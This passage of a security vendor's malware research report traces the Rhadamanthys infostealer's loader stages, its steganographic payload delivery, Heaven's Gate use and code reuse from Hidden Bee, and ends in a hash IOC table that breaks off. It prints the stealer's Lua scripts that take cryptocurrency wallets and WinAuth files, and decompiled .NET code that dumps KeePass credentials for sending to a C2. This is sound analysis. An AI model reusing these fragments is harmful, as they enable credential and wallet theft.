that the malware creates a named mapped section that will be used for sharing data between the\r\ncomponents. The name of the section is first randomly generated. Then, together with some other data, it is filled into the\r\nnext shellcode ( prepare.bin ) fetched from the initial package. This model of using named mapped sections to share data\r\nbetween different components was also used extensively by Hidden Bee.\r\nLooking at the above code, we can see that the compressed data block is first uncompressed. At this point, the components\r\nare still loaded from the first package passed from the Stage 1 binary (rather than from the downloaded one). Elements\r\nstored inside the package are fetched by their names. Two elements are referenced:  prepare.bin  and  dfdll.dll .\r\nThis DLL is further dropped into the  %APPDATA%  directory, disguised as a DLL related to NSIS installers.\r\nhttps://research.checkpoint.com/2023/from-hidden-bee-to-rhadamanthys-the-evolution-of-custom-executable-formats/\r\nPage 28 of 43\n\nFigure 45: Fragment of the code responsible for unpacking the DLL and preparing the arguments that are\r\npassed to the deployed export function\r\nOverall, the main purpose of this stage is to download and deploy the final malicious components, which are shipped in a\r\ncustom package.\r\nThe 2nd stage loader: XS1 converted\r\nLet’s have a look at the next version of the analogous loader, this time converted from the XS binary.\r\nJust like in the case of the RS format, the start function of the XS module completes self-loading and then proceeds to the\r\nmain function.\r\nFigure 46: The function at the Entry Point of the XS module\r\nFigure 46: The function at the Entry Point of the XS module\r\nInside the  main_func , the passed configuration gets decrypted and verified.\r\nFigure 47: The main function of the XS module: After config decoding and verification, the execution\r\nproceeds to load the next modules.\r\nFigure 47: The main function of the XS module: After config decoding and verification, the execution\r\nproceeds to load the next modules.\r\nThe way in which the config is deobfuscated slightly changed compared to the RS module. Now the data is passed as\r\nBase64 encoded with a custom charset ( ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789abcdefghijklmnopqrstuvwxyz*$ ). After\r\nbeing decoded, it is RC4 decrypted (with the same key as used by the previous version). Then, another layer of\r\ndeobfuscation follows: the result is processed with an XOR-based algorithm. While the deobfuscation process is more\r\ncomplicated, the result has an analogous format to what we observed in the RS versions. Example:\r\nFigure 48: The decrypted configuration (from the XS format).\r\nFigure 48: The decrypted configuration (from the XS format).\r\nIf the config was successfully decrypted, the malware proceeds with its initialization. First, it verifies if it was already run by\r\nchecking the value  sn  under its installation key, impersonating SibCode: HKEY_CURRENT_USER:  Software\\SibCode .\r\nThe stored value should contain the timestamp of the malware’s last run. If the last run time was too recent (below the\r\nthreshold), the malware won’t proceed.\r\nFigure 49: The function checking the values saved in the registry.\r\nFigure 49: The function checking the values saved in the registry.\r\nIt further checks if the instance is already running by verifying the mutex (generated in a format  MSCTF.Asm.{%08lx-%04x-\r\n%04x-%02x%02x-%02x%02x%02x%02x%02x%02x}  just as in the previous version of the loader.).\r\nhttps://research.checkpoint.com/2023/from-hidden-bee-to-rhadamanthys-the-evolution-of-custom-executable-formats/\r\nPage 29 of 43\n\nDepending on the Windows version, it may try to rerun itself with elevated privileges, using runas.\r\nOtherwise, it proceeds to the next function, denoted as  decrypt_and_load_modules . This function is mainly used for\r\nloading and deploying other components from the package that was passed from the previous layer. The snippet is given\r\nbelow. Note that in this case as well, the author added additional obfuscation: a padding of random bytes that is filled before\r\nthe actual module start.\r\nFigure 50: Fragment of the code responsible for fetching and loading additional custom module\r\n(”unhook.bin”).\r\nFigure 50: Fragment of the code responsible for fetching and loading additional custom module\r\n(”unhook.bin”).\r\nCompared to Stage 2 in the earlier analyzed version, the biggest change is the increased modularity: now the main module\r\nof the stage is just a loader, and each part of the functionality is separated into a distinct unit. Initially, most of the above\r\nfunctionalities were combined in a single Stage 2 component. This shift towards modularity is a gradual one across\r\nconsecutive versions.\r\nAn overview of the modules is given below.\r\nName Format Description\r\nprepare.bin shellcode\r\nThe initial stub injected into a process, responsible for loading into it further\r\ncomponents\r\nproto.bin shellcode –\r\nnetclient.bin XS\r\nResponsible for the connection with the C2 and downloading of further\r\nmodules\r\nphexec.bin XS Prepares stubs with extracted syscalls, maps prepare.bin into a 64-bit process\r\nunhook.bin XS Checks DLLs against hooks\r\nheur.bin XS –\r\nua.txt plaintext\r\nA list of user-agents (a random user-agent from the list will be selected and\r\nused for the internet connection)\r\ndt.bin XS Evasion checks\r\ncommit.bin XS –\r\nIt is clear that the author is progressing toward increased customization. Even the list of User Agents is now configurable\r\nand stored in a separate file ( ua.txt ). It is decoded from the package and then passed to the further\r\nmodule,  netclient.bin , which establishes the connection to the C2. There are also more options to deliver the final stage.\r\nIn the previous version, it was shipped as a JPG, and now it can also be delivered as a WAV.\r\nFigure 51: Parsing the downloaded content. Depending on the retrieved content, a JPG or WAV parsing\r\nfunction is selected.\r\nFigure 51: Parsing the downloaded content. Depending on the retrieved content, a JPG or WAV parsing\r\nfunction is selected.\r\nThe functions responsible for decoding both forms of the payloads are analogous.\r\nThe fragment of JPG decoding – after the payload decryption, the SHA1 hash stored in the header is compared with the hash\r\nthat is calculated from the content:\r\nFigure 52: Decoding the package from the JPG file\r\nFigure 52: Decoding the package from the JPG file\r\nThe fragment of WAV decoding – note that for verification, a different hash is used: SHA256 instead of SHA1:\r\nhttps://research.checkpoint.com/2023/from-hidden-bee-to-rhadamanthys-the-evolution-of-custom-executable-formats/\r\nPage 30 of 43\n\nFigure 53: Decoding the package from the WAV file\r\nAfter decoding the downloaded file, we obtain another package containing further modules.\r\nFigure 54: The package decoded from the WAV is revealed in memory. Hash verification passed.\r\nFigure 54: The package decoded from the WAV is revealed in memory. Hash verification passed.\r\nAn analogous way of delivering further components was used by Hidden Bee (details described in the Malwarebytes article:\r\n[9]).\r\nThe media files are used to store the payload, hidden in a steganographic way, and additionally encrypted. Part of the\r\npayload is encoded within the media file itself, and the remaining part – appended at the end.\r\nThe stealer component (HS/XS2 format)\r\nThe main component of the malware is downloaded from the C2 and revealed as the third stage. Depending on the version,\r\nit was observed in HS or XS2 custom formats. The component is responsible for the core operations of the malware, related\r\nto stealing information. During its execution, it further loads additional modules from the same package, some of which are\r\nexecutables in the same custom format.\r\nLet’s have a quick look at selected features, mainly focusing on the HS variant.\r\nThe building blocks of the module’s start function are similar to the cases described earlier: finishing the module’s loading\r\nprocess and then passing the execution to the main function. However, we can see some new functions were added at this\r\ninitial stage. For example, there is a function installing a patch responsible for AMSI bypass. This bypass is needed due to\r\nthe fact that the current module is going to load .NET modules and deploy malicious PowerShell scripts.\r\nFigure 55: Start function of the main stealer component (HS variant)\r\nFigure 55: Start function of the main stealer component (HS variant)\r\nThe main function of the module contains different execution paths, which are selected depending on the command ID that\r\nwas passed as one of the arguments. That means the layer above decides which actions are deployed. Many of the\r\ncommands are responsible for loading/unloading certain modules and injection into other processes. Other commands are\r\ninvolved in the immediate deployment of malicious capabilities.\r\nMost of the additional modules are fetched by hardcoded paths that we can find in the binary. Example:\r\nPlain text\r\nCopy to clipboard\r\nOpen code in new window\r\nEnlighterJS 3 Syntax Highlighter\r\n/bin/runtime.exe\r\n/extension/%08x.lua\r\n/bin/i386/stub.dll\r\n/bin/KeePassHax.dll\r\n/bin/i386/stubmod.bin\r\n/bin/i386/coredll.bin\r\nhttps://research.checkpoint.com/2023/from-hidden-bee-to-rhadamanthys-the-evolution-of-custom-executable-formats/\r\nPage 31 of 43\n\n/bin/i386/stubexec.bin\r\n/bin/amd64/preload.bin\r\n/bin/amd64/coredll.bin\r\n/bin/amd64/stub.dll\r\n/bin/runtime.exe /extension/%08x.lua /bin/i386/stub.dll /bin/KeePassHax.dll /bin/i386/stubmod.bin /bin/i386/coredll.bin\r\n/bin/i386/stubexec.bin /bin/amd64/preload.bin /bin/amd64/coredll.bin /bin/amd64/stub.dll\r\n/bin/runtime.exe\r\n/extension/%08x.lua\r\n/bin/i386/stub.dll\r\n/bin/KeePassHax.dll\r\n/bin/i386/stubmod.bin\r\n/bin/i386/coredll.bin\r\n/bin/i386/stubexec.bin\r\n/bin/amd64/preload.bin\r\n/bin/amd64/coredll.bin\r\n/bin/amd64/stub.dll\r\nThe path format is analogous to what we observed in Hidden Bee. We provide additional explanations in a later chapter.\r\nJust like Hidden Bee, Rhadamanthys can run LUA scripts. In the older version of the module (HS variant), the scripts were\r\nreferenced by paths with the  .lua  extension:\r\nFigure 56: Fragment of the function fetching LUA extensions from the package (HS variant).\r\nFigure 56: Fragment of the function fetching LUA extensions from the package (HS variant).\r\nIn the latest (XS) version, the extension has been replaced with a custom one,  .xs :\r\nFigure 57: Fragment of the function fetching LUA extensions from the package (XS variant).\r\nFigure 57: Fragment of the function fetching LUA extensions from the package (XS variant).\r\nHowever, looking inside the unpacked content, we can see that the scripts didn’t change that much and are still written in\r\nLUA.\r\nFigure 58: The LUA script revealed in memory\r\nFigure 58: The LUA script revealed in memory\r\nThe malware supports up to 100 scripts, but only 60 were used in the analyzed cases. The scripts implement a variety of\r\ntargeted stealers.\r\nFor example, some of them are used for stealing specific cryptocurrency wallets:\r\nPlain text\r\nCopy to clipboard\r\nOpen code in new window\r\nEnlighterJS 3 Syntax Highlighter\r\nlocal file_count = 0\r\nif not framework.flag_exist(\"W\") then\r\nreturn\r\nend\r\nlocal filenames = {\r\nframework.parse_path([[%AppData%\\DashCore\\wallets\\wallet.dat]]),\r\nframework.parse_path([[%LOCALAppData%\\DashCore\\wallets\\wallet.dat]])\r\n}\r\nfor _, filename in ipairs(filenames) do\r\nif filename ~= nil and framework.file_exist(filename) then\r\nhttps://research.checkpoint.com/2023/from-hidden-bee-to-rhadamanthys-the-evolution-of-custom-executable-formats/\r\nPage 32 of 43\n\nif file_count \u003e 0 then\r\nbreak\r\nend\r\nframework.add_file(\"DashCore/wallet.dat\", filename)\r\nfile_count = file_count + 1\r\nend\r\nend\r\nif file_count \u003e 0 then\r\nframework.set_commit(\"!CP:DashCore\")\r\nend\r\nlocal file_count = 0 if not framework.flag_exist(\"W\") then return end local filenames = {\r\nframework.parse_path([[%AppData%\\DashCore\\wallets\\wallet.dat]]),\r\nframework.parse_path([[%LOCALAppData%\\DashCore\\wallets\\wallet.dat]]) } for _, filename in ipairs(filenames) do if\r\nfilename ~= nil and framework.file_exist(filename) then if file_count \u003e 0 then break end\r\nframework.add_file(\"DashCore/wallet.dat\", filename) file_count = file_count + 1 end end if file_count \u003e 0 then\r\nframework.set_commit(\"!CP:DashCore\") end\r\nlocal file_count = 0\r\nif not framework.flag_exist(\"W\") then\r\n return\r\nend\r\nlocal filenames = {\r\n framework.parse_path([[%AppData%\\DashCore\\wallets\\wallet.dat]]),\r\n framework.parse_path([[%LOCALAppData%\\DashCore\\wallets\\wallet.dat]])\r\n}\r\nfor _, filename in ipairs(filenames) do\r\n if filename ~= nil and framework.file_exist(filename) then\r\n if file_count \u003e 0 then\r\n break\r\n end\r\n framework.add_file(\"DashCore/wallet.dat\", filename)\r\n file_count = file_count + 1\r\n end\r\nend\r\nif file_count \u003e 0 then\r\n framework.set_commit(\"!CP:DashCore\")\r\nend\r\nOr account profiles:\r\nPlain text\r\nCopy to clipboard\r\nOpen code in new window\r\nEnlighterJS 3 Syntax Highlighter\r\nlocal files = {}\r\nlocal file_count = 0\r\nif not framework.flag_exist(\"2\") then\r\nreturn\r\nend\r\nlocal filename = framework.parse_path([[%AppData%\\WinAuth\\winauth.xml]])\r\nif path ~= nil and framework.path_exist(path) then\r\nframework.add_file(\"winauth.xml\", filename)\r\nhttps://research.checkpoint.com/2023/from-hidden-bee-to-rhadamanthys-the-evolution-of-custom-executable-formats/\r\nPage 33 of 43\n\nframework.set_commit(\"$[2]WinAuth\")\r\nend\r\nlocal files = {} local file_count = 0 if not framework.flag_exist(\"2\") then return end local filename =\r\nframework.parse_path([[%AppData%\\WinAuth\\winauth.xml]]) if path ~= nil and framework.path_exist(path) then\r\nframework.add_file(\"winauth.xml\", filename) framework.set_commit(\"$[2]WinAuth\") end\r\nlocal files = {}\r\nlocal file_count = 0\r\nif not framework.flag_exist(\"2\") then\r\n return\r\nend\r\nlocal filename = framework.parse_path([[%AppData%\\WinAuth\\winauth.xml]])\r\nif path ~= nil and framework.path_exist(path) then\r\n framework.add_file(\"winauth.xml\", filename)\r\n framework.set_commit(\"$[2]WinAuth\")\r\nend\r\nThe set of additional modules contain also some .NET executables (written in .NET 4.6.1). For example, the module\r\nnamed  runtime.exe  that is responsible for running supplied Powershell scripts:\r\nFigure 59: The .NET module: runtime.exe (decompiled using dnSpy)\r\nFigure 59: The .NET module: runtime.exe (decompiled using dnSpy)\r\nThe  KeePassHax.dll  is another .NET executable, responsible for dumping KeePass credentials and sending them to the\r\nC2. Fragment of the code:\r\nPlain text\r\nCopy to clipboard\r\nOpen code in new window\r\nEnlighterJS 3 Syntax Highlighter\r\n// Token: 0x06000006 RID: 6 RVA: 0x00002150 File Offset: 0x00000350\r\nprivate static void KcpDump()\r\n{\r\nDictionary\u003cstring, byte[]\u003e dictionary = new Dictionary\u003cstring, byte[]\u003e();\r\nobject fieldInstance =\r\nAssembly.GetEntryAssembly().EntryPoint.DeclaringType.GetFieldStatic(\"m_formMain\").GetFieldInstance(\"m_docMgr\").GetFieldInstance(\"m_dsActive\r\nobject fieldInstance2 = fieldInstance.GetFieldInstance(\"m_pwUserKey\");\r\nstring s = fieldInstance.GetFieldInstance(\"m_ioSource\").GetFieldInstance(\"m_strUrl\").ToString();\r\nIEnumerable enumerable = (IList)fieldInstance2.GetFieldInstance(\"m_vUserKeys\");\r\ndictionary.Add(\"U\", Encoding.UTF8.GetBytes(s));\r\nforeach (object obj in enumerable)\r\n{\r\nstring name = obj.GetType().Name;\r\nif (!(name == \"KcpPassword\"))\r\n{\r\nif (!(name == \"KcpKeyFile\"))\r\n{\r\nif (name == \"KcpUserAccount\")\r\n{\r\nbyte[] value = (byte[])obj.GetFieldInstance(\"m_pbKeyData\").RunMethodInstance(\"ReadData\", Array.Empty\u003cobject\u003e());\r\nhttps://research.checkpoint.com/2023/from-hidden-bee-to-rhadamanthys-the-evolution-of-custom-executable-formats/\r\nPage 34 of 43\n\ndictionary.Add(\"A\", value);\r\n}\r\n}\r\nelse\r\n{\r\nobject fieldInstance3 = obj.GetFieldInstance(\"m_strPath\");\r\ndictionary.Add(\"K\", Encoding.UTF8.GetBytes(fieldInstance3.ToString()));\r\n}\r\n}\r\nelse\r\n{\r\nstring s2 = (string)obj.GetFieldInstance(\"m_psPassword\").RunMethodInstance(\"ReadString\", Array.Empty\u003cobject\u003e());\r\ndictionary.Add(\"P\", Encoding.UTF8.GetBytes(s2));\r\n}\r\n}\r\nProgram.KcpDumpSendData(dictionary);\r\n}\r\n// Token: 0x06000006 RID: 6 RVA: 0x00002150 File Offset: 0x00000350 private static void KcpDump() {\r\nDictionary\u003cstring, byte[]\u003e dictionary = new Dictionary\u003cstring, byte[]\u003e(); object fieldInstance =\r\nAssembly.GetEntryAssembly().EntryPoint.DeclaringType.GetFieldStatic(\"m_formMain\").GetFieldInstance(\"m_docMgr\").GetFieldInstance(\"m_dsActive\r\nobject fieldInstance2 = fieldInstance.GetFieldInstance(\"m_pwUserKey\"); string s =\r\nfieldInstance.GetFieldInstance(\"m_ioSource\").GetFieldInstance(\"m_strUrl\").ToString(); IEnumerable enumerable =\r\n(IList)fieldInstance2.GetFieldInstance(\"m_vUserKeys\"); dictionary.Add(\"U\", Encoding.UTF8.GetBytes(s)); foreach (object\r\nobj in enumerable) { string name = obj.GetType().Name; if (!(name == \"KcpPassword\")) { if (!(name == \"KcpKeyFile\")) {\r\nif (name == \"KcpUserAccount\") { byte[] value =\r\n(byte[])obj.GetFieldInstance(\"m_pbKeyData\").RunMethodInstance(\"ReadData\", Array.Empty\u003cobject\u003e());\r\ndictionary.Add(\"A\", value); } } else { object fieldInstance3 = obj.GetFieldInstance(\"m_strPath\"); dictionary.Add(\"K\",\r\nEncoding.UTF8.GetBytes(fieldInstance3.ToString())); } } else { string s2 =\r\n(string)obj.GetFieldInstance(\"m_psPassword\").RunMethodInstance(\"ReadString\", Array.Empty\u003cobject\u003e());\r\ndictionary.Add(\"P\", Encoding.UTF8.GetBytes(s2)); } } Program.KcpDumpSendData(dictionary); }\r\n// Token: 0x06000006 RID: 6 RVA: 0x00002150 File Offset: 0x00000350\r\n private static void KcpDump()\r\n {\r\n Dictionary\u003cstring, byte[]\u003e dictionary = new Dictionary\u003cstring, byte[]\u003e();\r\n object fieldInstance = Assembly.GetEntryAssembly().EntryPoint.DeclaringType.GetFieldStatic(\"m_form\r\n object fieldInstance2 = fieldInstance.GetFieldInstance(\"m_pwUserKey\");\r\n string s = fieldInstance.GetFieldInstance(\"m_ioSource\").GetFieldInstance(\"m_strUrl\").ToString();\r\n IEnumerable enumerable = (IList)fieldInstance2.GetFieldInstance(\"m_vUserKeys\");\r\n dictionary.Add(\"U\", Encoding.UTF8.GetBytes(s));\r\n foreach (object obj in enumerable)\r\n {\r\n string name = obj.GetType().Name;\r\n if (!(name == \"KcpPassword\"))\r\n {\r\n if (!(name == \"KcpKeyFile\"))\r\n {\r\n if (name == \"KcpUserAccount\")\r\n {\r\n byte[] value = (byte[])obj.GetFieldInstance(\"m_pbKeyData\").RunMethodInstance(\"Read\r\n dictionary.Add(\"A\", value);\r\n }\r\n }\r\n else\r\n {\r\nhttps://research.checkpoint.com/2023/from-hidden-bee-to-rhadamanthys-the-evolution-of-custom-executable-formats/\r\nPage 35 of 43\n\nobject fieldInstance3 = obj.GetFieldInstance(\"m_strPath\");\r\n dictionary.Add(\"K\", Encoding.UTF8.GetBytes(fieldInstance3.ToString()));\r\n }\r\n }\r\n else\r\n {\r\n string s2 = (string)obj.GetFieldInstance(\"m_psPassword\").RunMethodInstance(\"ReadString\", A\r\n dictionary.Add(\"P\", Encoding.UTF8.GetBytes(s2));\r\n }\r\n }\r\n Program.KcpDumpSendData(dictionary);\r\n }\r\nNote – Covering the full functionality of this Stage is out of the scope of this article. Some of it was described in the previous\r\nCheck Point Rhadamanthys publication [1] and may be continued as the next part of this series.\r\nThe custom formats that we described here have clear similarities to Hidden Bee. But that is not the only thing these two\r\nmalware families have in common. We can clearly see that the design, and even fragments of the code, are reused.\r\nData sharing via named mapping\r\nHidden Bee, as well as Rhadamanthys, consists of multiple modules that can run in different processes. Sometimes, they\r\nneed to share data from one process to another. For this purpose, the author decided to use a shared memory area that is\r\naccessed by different processes via named mapping.\r\nExample from Hidden Bee:\r\nFigure 60: Hidden Bee creating named mapping to store the data.\r\nFigure 60: Hidden Bee creating named mapping to store the data.\r\nWe can see a similar use of named mapping in Rhadamanthys. The malware may need to start a new process where it can\r\ninject its module. However, some data from the current process must be forwarded there. To do so, a named mapping is\r\ncreated. The data is entered and is retrieved from within the next process:\r\nFigure 61: Rhadamanthys creating and filling named mapping before starting a new infected process.\r\nFigure 61: Rhadamanthys creating and filling named mapping before starting a new infected process.\r\nThose shared memory pages contain a variety of content such as configuration, encryption keys, checksums of the functions\r\nthat are loaded by additional modules, etc. It is also a space where the virtual filesystem can be mounted, that is, the package\r\nin a custom format with various files, including executable modules. The modules are retrieved by their names or paths\r\n(depending on the specific format’s characteristics).\r\nRetrieving components from virtual filesystems\r\nIn articles from 2019 about Hidden Bee [8] [9], a glimpse into the virtual filesystems and the embedded components was\r\ngiven. We can find there familiar-looking paths:  /bin/amd64/preload ,  /bin/amd4/coredll.bin , etc.\r\nhttps://research.checkpoint.com/2023/from-hidden-bee-to-rhadamanthys-the-evolution-of-custom-executable-formats/\r\nPage 36 of 43\n\nFigure 62: Screenshot from Hidden Bee loading the modules: “preload” and “coredll.bin”. Source: [8]\r\nInterestingly, the same paths occur in Rhadamanthys in an unchanged form. Just like in Hidden Bee, they are used to\r\nreference the components from the virtual file system:\r\nFigure 63: Loading of the modules: “preload” and “coredll.bin” (Rhadamanthys)\r\nFigure 63: Loading of the modules: “preload” and “coredll.bin” (Rhadamanthys)\r\nHidden Bee, as well as Rhadamanthys, uses diverse formats for the virtual filesystems. As it was noted during the Hidden\r\nBee analysis [8], the author based this part on ROMFS. However, over time, the structure diverged significantly from its\r\npredecessor and is fully custom in its current form. There are, however, some artifacts that lead us to conclude that the file\r\nsystems used by Rhadamanthys are simply the next step in the evolution of the ones used in Hidden Bee. The most obvious\r\nsimilarity is the magic:  !Rex :\r\nFigure 64: The buffer is checked to verify that it follows the expected format, and if it starts from the !Rex\r\nmagic (Rhadamanthys)\r\nHidden Bee was known for using formats with very similar names of packages, such as  !rbx ,  !rcx , and  !rdx , and for\r\nexactly the same purposes.\r\nhttps://research.checkpoint.com/2023/from-hidden-bee-to-rhadamanthys-the-evolution-of-custom-executable-formats/\r\nPage 37 of 43\n\nFigure 65: Example from Hidden Bee – checking the !rbx package marker. Source [8]\r\nHeaven’s Gate and loading 64-bit modules from 32-bit\r\nThe initial executable of Rhadamanthys, as well as of Hidden Bee, is 32-bit. However, the further modules may be 64-bit.\r\nThat means the malware has to find a way to deploy them.\r\nLoading 64-bit modules from a 32-bit process is not typically supported. Therefore, the executable needs to use a technique\r\nthat is not officially documented but well known in malware development circles: Heaven’s Gate (more about this\r\ntechnique here).\r\nLet’s have a look at how a 64-bit custom module is loaded in Rhadamanthys:\r\nFigure 66: Rhadamanthys Stage 2 component loading a 64-bit module “unhook.bin”\r\nFigure 66: Rhadamanthys Stage 2 component loading a 64-bit module “unhook.bin”\r\nIf the system is recognized as 64-bit, a new 64-bit module is loaded from the package. The module is fetched by name. Next,\r\na memory for it is allocated, and it is copied there, section by section.\r\nThe assembly fragment illustrates how the Heaven’s Gate is implemented:\r\nFigure 67: Heaven’s Gate in Rhadamanthys\r\nFigure 67: Heaven’s Gate in Rhadamanthys\r\nThe malware pushes on the stack the value 0x33 and then the next line’s address. When the far return is called, the execution\r\nreturns to the next address but prefixed with the segment 0x33, which causes the switch to the 64-bit mode. This means that\r\nall further instructions will now be interpreted as 64-bit. The loading of the custom module continues in 64-bit mode. As we\r\ncan’t switch the code interpretation directly in IDA, let’s see how it looks in PE-bear:\r\nFigure 68: Fragment of the 64-bit code in the 32-bit application (Rhadamanthys), executed after the\r\nHeaven’s Gate has been called.\r\nFigure 68: Fragment of the 64-bit code in the 32-bit application (Rhadamanthys), executed after the Heaven’s\r\nGate has been called.\r\nThe module, which is 64-bit, will continue its own loading.\r\nSimilar building blocks to load the 64-bit module from a 32-bit process can be found in Hidden Bee. In the below case, a\r\nshellcode  shim.bin  is first fetched from the virtual filesystem in the  !rdx  format. A shared section is created, where the\r\nmalware enters the needed data. Note that inputting the checksums is analogous to the case from Rhadamanthys, shown in\r\nFigure 61.\r\nhttps://research.checkpoint.com/2023/from-hidden-bee-to-rhadamanthys-the-evolution-of-custom-executable-formats/\r\nPage 38 of 43\n\nFigure 69: Hidden Bee’s core.bin (32-bit version) injecting shim.bin. The application creates a new process\r\nand then passes data to it via the named mapped section.\r\nFinally, the execution is switched to 64-bit mode via Heaven’s Gate, analogously to the previous case:\r\nFigure 70: Heaven’s Gate in the module “core.bin” of Hidden Bee\r\nFigure 70: Heaven’s Gate in the module “core.bin” of Hidden Bee\r\nConclusion\r\nThere are many parallels between Hidden Bee and Rhadamanthys which strongly hint that the recently released stealer isn’t\r\nbrand new but instead is a continuation of the author’s earlier work. The consistency of the design also suggests that the\r\ndevelopment is continued by the same author/authors as Hidden Bee and not merely inspired by or based on an obtained\r\ncode.\r\nConsidering how quickly Rhadamanthys is updated, it is clear that we are dealing with a highly professional actor that keeps\r\ninnovating and constantly improving the product, as well as incorporating learned techniques and PoCs. We can expect that\r\nthe custom formats used for the executables, as well as for the virtual filesystems, will continue to evolve.\r\nLooking at the trends, we believe that Rhadamanthys is here to stay, so it is worth keeping up with the evolution of those\r\nformats, as converting them to PE makes the analysis process much easier and faster.\r\nOur converters are available at:\r\nhttps://github.com/hasherezade/hidden_bee_tools/tree/master/bee_lvl2_converter\r\nCheck Point customers remain protected from the threats described in this research.\r\nCheck Point’s Threat Emulation provides comprehensive coverage of attack tactics, file types, and operating\r\nsystems and has developed and deployed a signature to detect and protect customers against threats described in this\r\nresearch.\r\nhttps://research.checkpoint.com/2023/from-hidden-bee-to-rhadamanthys-the-evolution-of-custom-executable-formats/\r\nPage 39 of 43\n\nCheck Point’s Harmony Endpoint provides comprehensive endpoint protection at the highest security level, crucial to\r\navoid security breaches and data compromise. Behavioral Guard protections were developed and deployed to protect\r\ncustomers against threats described in this research.\r\nTE/Harmony Endpoint protections:\r\nInfoStealer.Wins.Rhadamanthys.C/D\r\nIOC/Analyzed samples\r\nID Hash Module type Format\r\n#1.1 39e60dbcfa3401c2568f8ef27cf97a83d16fdbd43ecf61c3be565ee4e7b9092e\r\nPacked sample\r\n(distributed in a\r\ncampaign)\r\nPE\r\n#1.2 bd694e981db5fba281c306dc622a1c5ee0dd02efc29ef792a2100989042f0158\r\nStage 1\r\n(unpacked from\r\n#1.1); RS/HS\r\nvariant\r\nPE\r\n#1.3 3ecb1f99328a188d1369eb491338788b9ddeba6c038f0c14de275ee7ab96694b\r\nStage 2: main\r\nmodule\r\nRS\r\n#1.4 3aa34d44946b4405cd6fc85c735ae2b405d597a5ab018a6c46177f4e1b86d11a\r\nStage 3: main\r\nstealer\r\ncomponent\r\nHS\r\n#2.1 301cafc22505f558744bb9ed11d17e2b0ebd07baa3a0f59d1650d119ede4ceeb\r\nStage 1 (version\r\n0.4.1); RS/HS\r\nvariant\r\nPE\r\n#2.2 f336cd910b9cfbe13a5d94fcdbac1be9c901a2dfd7ac0da82fbb9e8a096ac212\r\nStage 2 (from\r\n#2.1): main\r\nmodule\r\nRS\r\n#2.3 e69f284430cd491d97b017f7132ad46fef3d814694b29bd15aaa07d206fa4001\r\nStage 2\r\nsubmodule:\r\n“unhook.bin”\r\nHS\r\n#3.1 1eb7e20cc13f622bd6834ef333b8c44d22068263b68519a54adc99af5b1e6d34\r\nPacked sample\r\n(distributed in a\r\ncampaign)\r\nPE\r\n#3.2 a13376875d3b492eb818c5629afd3f97883be2a5154fa861e7879d5f770e21d4\r\nStage 1\r\n(unpacked from\r\n#3.1); XS variant\r\nPE\r\n#3.3 0c0753affec66ea02d4e93ced63f95e6c535dc7d7afb7fcd7e75a49764fbef0d\r\nStage 2 (main\r\nmodule, from\r\n#3.2)\r\nXS\r\n#4.1 0f0760eb43d1a3ed16b4842b25674e4d6d1239766243bac1d4c19341bb37d5b8\r\nPacked sample\r\n(distributed in a\r\ncampaign)\r\nPE\r\n#4.2 b542b29e51e01cec685110991acf28937ad894ba30dc8e044ef66bb8acbed210\r\nStage 1\r\n(unpacked from\r\n#4.1); XS variant\r\nPE\r\n#4.3 5af4507b1ae510b21d8c64e1e6fb518bf8d63ff03156eb0406b1193e10308302\r\nStage 2: main\r\nmodule (v0.4.9)\r\nXS\r\n#4.4 90290bed8745f9e2ca37538f5f47bf71b5beb53b29027390e18e8b285b764f55\r\nStage 2\r\nsubmodule:\r\n“netclient.bin”\r\nXS\r\n#4.4 eca3b3fa9fc6158eae8c978ab888966ab561f39c905a316ef31d5613f1018124\r\nStage 2\r\nsubmodule:\r\n“dt.bin”\r\nXS\r\nhttps://research.checkpoint.com/2023/from-hidden-bee-to-rhadamanthys-the-evolution-of-custom-executable-formats/\r\nPage 40 of 43\n\nID Hash Module type Format\r\n#4.5 50ebe2ac91a2f832bab7afce93cf2fc252a3694ee4e3829a6ccb2786554a3830\r\nStage 2\r\nsubmodule:\r\n“phexec.bin”\r\nXS\r\n#4.6 e65973cfa8ae7fb4305c085c30348aef702fb5fc4118f83c8cdc498ae01e81f7\r\nStage 2\r\nsubmodule:\r\n“commit.bin”\r\nXS\r\n#4.7 648cf25ac347e4a37f8e8f837a7866f591da863ce40ce360c243b116dbb0f2b5\r\nStage 2\r\nsubmodule:\r\n“heur.bin”\r\nXS\r\n#4.8 31d89c4bba78cab67a791ebc2a829ad1f81d342ad96b47228f2c96038a1ff707\r\nStage 2\r\nsubmodule:\r\n“proto.bin”\r\nshellcode\r\n#4.9 9d69149b6b2dd202870ff5ce49b1ef166b628e44da22d63151bd155e52aadee8\r\nStage 2\r\nsubmodule:\r\n“unhook.bin”\r\nXS\r\n#5.1 a717bafa929893e64dbd2fc6b38dbeed2efc7308f1bc3e1eaf52dfc8114091ad\r\nStage 1\r\n(original); XS\r\nvariant\r\nPE\r\n#6.1 b87c03183b84e3c7ec319d7be7c38862f33d011ff160cb1385aea70046f5a67b\r\nPacked sample\r\n(distributed in a\r\ncampaign)\r\nPE\r\n#6.2 158b1f46777461ac9e13216ee136a0c8065c2d3e7cb1f00e6b0ca699f6815498\r\nStage 1; XS\r\nvariant\r\nPE\r\n#7.1 7de67b4ae3475e1243c80ba446a8502ce25fec327288d81a28be69706b4d9d81\r\nPacked sample\r\n(distributed in a\r\ncampaign)\r\nPE\r\n#8.1 85d104c4584ca1466a816ca3e34b7b555181aa0e8840202e43c2ee2c61b6cb84\r\nStage 1 (version\r\n0.4.5); XS variant\r\nPE\r\n#9.1 a1fce39c4db5f1315d5024b406c0b0fb554e19ff9b6555e46efba1986d6eff2e\r\nStage 1 (version\r\n0.4.6); XS variant\r\nPE\r\n#9.2 0ca1f5e81c35de6af3e93df7b743f47de9f2791af25020d6a9fafab406edebb2\r\nStage 2: main\r\nmodule (from\r\n#8.1, #9.1)\r\nXS\r\n#10.1 f0f70c6ba7dcb338794ee0034250f5f98fc6bddea0922495af863421baf4735f\r\nStage 1 (version\r\n0.4.9)\r\nPE\r\n#11.1 9ab214c4e8b022dbc5038ab32c5c00f8b351aecb39b8f63114a8d02b50c0b59b\r\nStage 1 (version\r\n0.4.9)\r\nPE\r\n#11.2 ae30e2f276a49aa4f61066f0eac0b6d35a92a199e164a68a186cba4291798716\r\nStage 3: main\r\nstealer\r\ncomponent\r\nXS\r\n#11.3 fcb00beaa88f7827999856ba12302086cadbc1252261d64379172f2927a6760e\r\nStage 3\r\nsubmodule:\r\n“KeePassHax.dll”\r\nPE\r\n#11.4 40ab8104b734d5666b52a550ed30f69b8a3d554d7ed86d4f658defca80b220fb\r\nStage 